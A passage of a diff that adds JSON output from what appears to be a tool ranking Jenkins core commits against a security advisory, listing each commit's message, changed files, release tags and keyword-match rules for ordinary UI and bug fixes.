"timestamp": 1708244270, + "hunks": 2, + "message": "Allow update sites to define a custom URL for wizard plugin suggestion (#8951) * currently suggested plugins list as setup time is hardcoded, we can make it configurable Signed-off-by: Olivier Lamy * add new method to UpdateSite to avoid using System property Signed-off-by: Olivier Lamy * Update core/src/main/java/hudson/model/UpdateSite.java Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> --------- Signed-off-by: Olivier Lamy Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/java/hudson/model/UpdateSite.java", + "core/src/main/java/jenkins/install/SetupWizard.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8951": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8951", + "relevance": 2 + } + ] + }, + { + "commit_id": "5f0e704ea26b430e117b32a5d7ea3658779edea8", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707949055, + "hunks": 4, + "message": "readonly mode for f:select (#8955) * readonly mode for f:select when enabling readonly mode with the extended read permissions plugin the places where an f:select is used are not replaced. * apply prettier * apply lint issues", + "changed_files": [ + "core/src/main/resources/lib/form/select.jelly", + "core/src/main/resources/lib/form/select/select.js", + "war/src/main/webapp/scripts/hudson-behavior.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8955": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: replace, read", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8955", + "relevance": 2 + } + ] + }, + { + "commit_id": "8b949243a92cc0ff89742be6b509920db0e0a456", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707743361, + "hunks": 16, + "message": "[JENKINS-71326] - Support colored badges in breadcrumb dropdown (#8853) * [JENKINS-71326] - Support colored badges in breadcrumb dropdown * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Creating a badge jelly view. * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Adding class attribute to the badge jelly. * Apply suggestions from code review Co-authored-by: Alexander Brandes * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Lint and license Fix --------- Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/java/jenkins/management/Badge.java", + "core/src/main/resources/hudson/model/ManageJenkinsAction/index.jelly", + "core/src/main/resources/lib/layout/badge.jelly", + "core/src/main/resources/lib/layout/task.jelly", + "war/src/main/js/components/dropdowns/templates.js", + "war/src/main/scss/components/_badges.scss", + "war/src/main/scss/components/_dropdowns.scss", + "war/src/main/scss/components/_section.scss", + "war/src/main/scss/components/_side-panel-tasks.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8853": "Update notifying badges in dropdowns #8798" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8853", + "relevance": 2 + } + ] + }, + { + "commit_id": "76df1676462b5ee9e98ede2d6328ee865f798c8b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707465940, + "hunks": 3, + "message": "Fix UI for plugin manager's Advanced settings with SystemRead (#8942) Fix UI for plugin manager's Advanced settings with ExtendedRead Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/resources/hudson/PluginManager/advanced.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8942": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8942", + "relevance": 2 + } + ] + }, + { + "commit_id": "d5c9e6a9d7624210ef0e952622990af4d25882cc", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707465910, + "hunks": 9, + "message": "Do not offer impossible Cloud options to users with SystemRead (#8943) Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/resources/jenkins/agents/CloudSet/index.jelly", + "core/src/main/resources/jenkins/agents/CloudSet/index.properties", + "core/src/main/resources/jenkins/agents/CloudSet/index_fr.properties", + "core/src/main/resources/jenkins/agents/CloudSet/index_tr.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8943": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8943", + "relevance": 2 + } + ] + }, + { + "commit_id": "90c3a392025bd905a2705059eaa036474b52ee9e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707382834, + "hunks": 1, + "message": "fix margin in readonly mode (#8938) * fix margin in readonly mode when readonly mode is enabled with systemread or extended read permissions, some fields are wrapped in a `pre` tag. By default `pre` has a bigger margin-bottom . But in readonly mode we already have a margin in a wrapping div which leads to unnecessary large space after those fields. So we should remove the margin-bottom for this * fix style", + "changed_files": [ + "war/src/main/scss/base/_style.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8938": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8938", + "relevance": 2 + } + ] + }, + { + "commit_id": "abf3b41ab33f34436cb61b84fe3d5f03d53a6bd5", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706888396, + "hunks": 7, + "message": "[JENKINS-72627] Improve locale parsing for loading of localised help files (#8912) * fix only use preferred accept-language Signed-off-by: BobDu * revert asterisk imports Signed-off-by: BobDu * add unit test getStaticHelpUrl Signed-off-by: BobDu * improve unit test getStaticHelpUrl Signed-off-by: BobDu * rename assertThatLocaleResourceIs method Signed-off-by: BobDu --------- Signed-off-by: BobDu ", + "changed_files": [ + "core/src/main/java/hudson/model/Descriptor.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8912": "fix help icon return 404 jenkinsci/dingtalk-plugin#241 Intercept getLocales() when isIgnoreAcceptLanguage is set jenkinsci/locale-plugin#222 [JENKINS-73246] Fix text shown in unexpected locale #9370" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8912", + "relevance": 2 + } + ] + }, + { + "commit_id": "d7be82af3b7aee63d6ebd9c7008d1a9910070cdb", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706774250, + "hunks": 5, + "message": "[JENKINS-72509] show error message in progressive logs on 4xx status codes (#8907) * [JENKINS-72509] avoid broken log when deleting job/agent when accessing the log of a running build and the job gets deleted or someone removes read permissions (without discover) the log just appends the output of the call to logText/progressiveHtml which is the 404 message from Jenkins. The same happens when one accesses the log of an agent and the agent is deleted. This is due to only checking for 403 status and ignoring other status codes from the 400 range. * do not reload but print an error * apply prettier", + "changed_files": [ + "core/src/main/resources/lib/hudson/progressive-text.js", + "core/src/main/resources/lib/hudson/progressiveText.jelly", + "core/src/main/resources/lib/hudson/progressiveText.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8907": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8907", + "relevance": 2 + } + ] + }, + { + "commit_id": "ef378cc38d5b0c0e0065a64fcbd4faf8c5b95feb", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706774208, + "hunks": 3, + "message": "[JENKINS-71700] avoid stacktrace from artifactarchiver when no artifacts are found (#8908) [JENKINS-71700] avoid stacktrace in artifactarchiver when no artifacts When the validateAntFileMask fails because there are too many files or it takes too long an exception is thrown that was intendend to be catched in the ArtifactArchiver. But when the build happens on an agent and not the built-in, this didn't work as the the exception is deeply wrapped in 2 other exceptions. As printing this information is of no real help, just catch all exceptions and print them to the jenkins log but not the build log. Any other message might just be misleading as one could get the impression that jenkins stopped after looking at 10000 files and only because of this no files where archived but this is not the case. At this place the ArtifactArchiver is just trying to give a hint why it didn't archive anything.", + "changed_files": [ + "core/src/main/java/hudson/tasks/ArtifactArchiver.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8908": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8908", + "relevance": 2 + } + ] + }, + { + "commit_id": "c32f4dfc7ffb2b5f1e6f1745a503572b2d0e420a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706459420, + "hunks": 1, + "message": "Replace reference to ui-samples-plugin with design-library in javadoc (#8909) ui-samples-plugin is suspended and has been replaced with design-library: > Plugin distribution has been suspended, see https://groups.google.com/g/jenkinsci-dev/c/2vGn3t9gZ0Y for details. https://plugins.jenkins.io/ui-samples-plugin/ https://github.com/jenkinsci/design-library-plugin/pull/14", + "changed_files": [ + "core/src/main/java/jenkins/util/ProgressiveRendering.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8909": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: replace", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8909", + "relevance": 2 + } + ] + }, + { + "commit_id": "4ec1639b9a9562028f2834da6c42e0ac962aad5f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706298235, + "hunks": 1, + "message": "Replace cobertura with coverage plugin in plugin installation wizard (#8879) Replace cobertura with coverage plugin. The coverage plugin combines all coverage tools into a single plugin. See https://github.com/jenkinsci/coverage-plugin.", + "changed_files": [ + "core/src/main/resources/jenkins/install/platform-plugins.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8879": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: replace", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8879", + "relevance": 2 + } + ] + }, + { + "commit_id": "f640efc087add43d31fdd92cd24be99af99fa4f5", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706193920, + "hunks": 3, + "message": "[JENKINS-71025] Remove inline JS from configure-common (#8866) * [JENKINS-71025] Remove inline JS from configure-common replaces #6861 * remove inline jd for jdk check", + "changed_files": [ + "core/src/main/java/hudson/model/AbstractProject.java", + "core/src/main/resources/hudson/model/AbstractProject/configure-common.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "6861": "[JENKINS-71025] Remove inline JS from configure-common #8866", + "8866": "[JENKINS-60866][JENKINS-71025] Remove inline JS from configure-common #6861 [JENKINS-69916] Un-inline WorkflowJob/configure-entries.jelly jenkinsci/workflow-job-plugin#411" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: replace", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 6861, 8866", + "relevance": 2 + } + ] + }, + { + "commit_id": "a665b45ba5862110d8b174d654c28541e23bedf9", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706193789, + "hunks": 5, + "message": "Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` (#8874) * Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` * Might as well handle `containsSymLink` the same way. Will never matter for artifact display with either the built-in or pluggable managers, but could improve performance of workspace listing with slow agent connections. * Checkstyle --------- Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/java/hudson/model/DirectoryBrowserSupport.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8874": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8874", + "relevance": 2 + } + ] + }, + { + "commit_id": "a32f24c4498950c5d74ee0ee438f79ef5867e755", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706132209, + "hunks": 1, + "message": "[JENKINS-72579] Adjust heap dump file name for compatibility with OpenJDK file suffix requirements (#8881)", + "changed_files": [ + "core/src/main/java/hudson/util/RemotingDiagnostics.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8881": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8881", + "relevance": 2 + } + ] + }, + { + "commit_id": "e859e9cd9c87a34153bc02c02cdfc174daa5c0e3", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704487212, + "hunks": 3, + "message": "Allow plugins to override boot failure view (#8442)", + "changed_files": [ + "core/src/main/java/hudson/WebAppMain.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8442": "Nicer error pages jenkinsci/configuration-as-code-plugin#2352" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow", + "relevance": 4 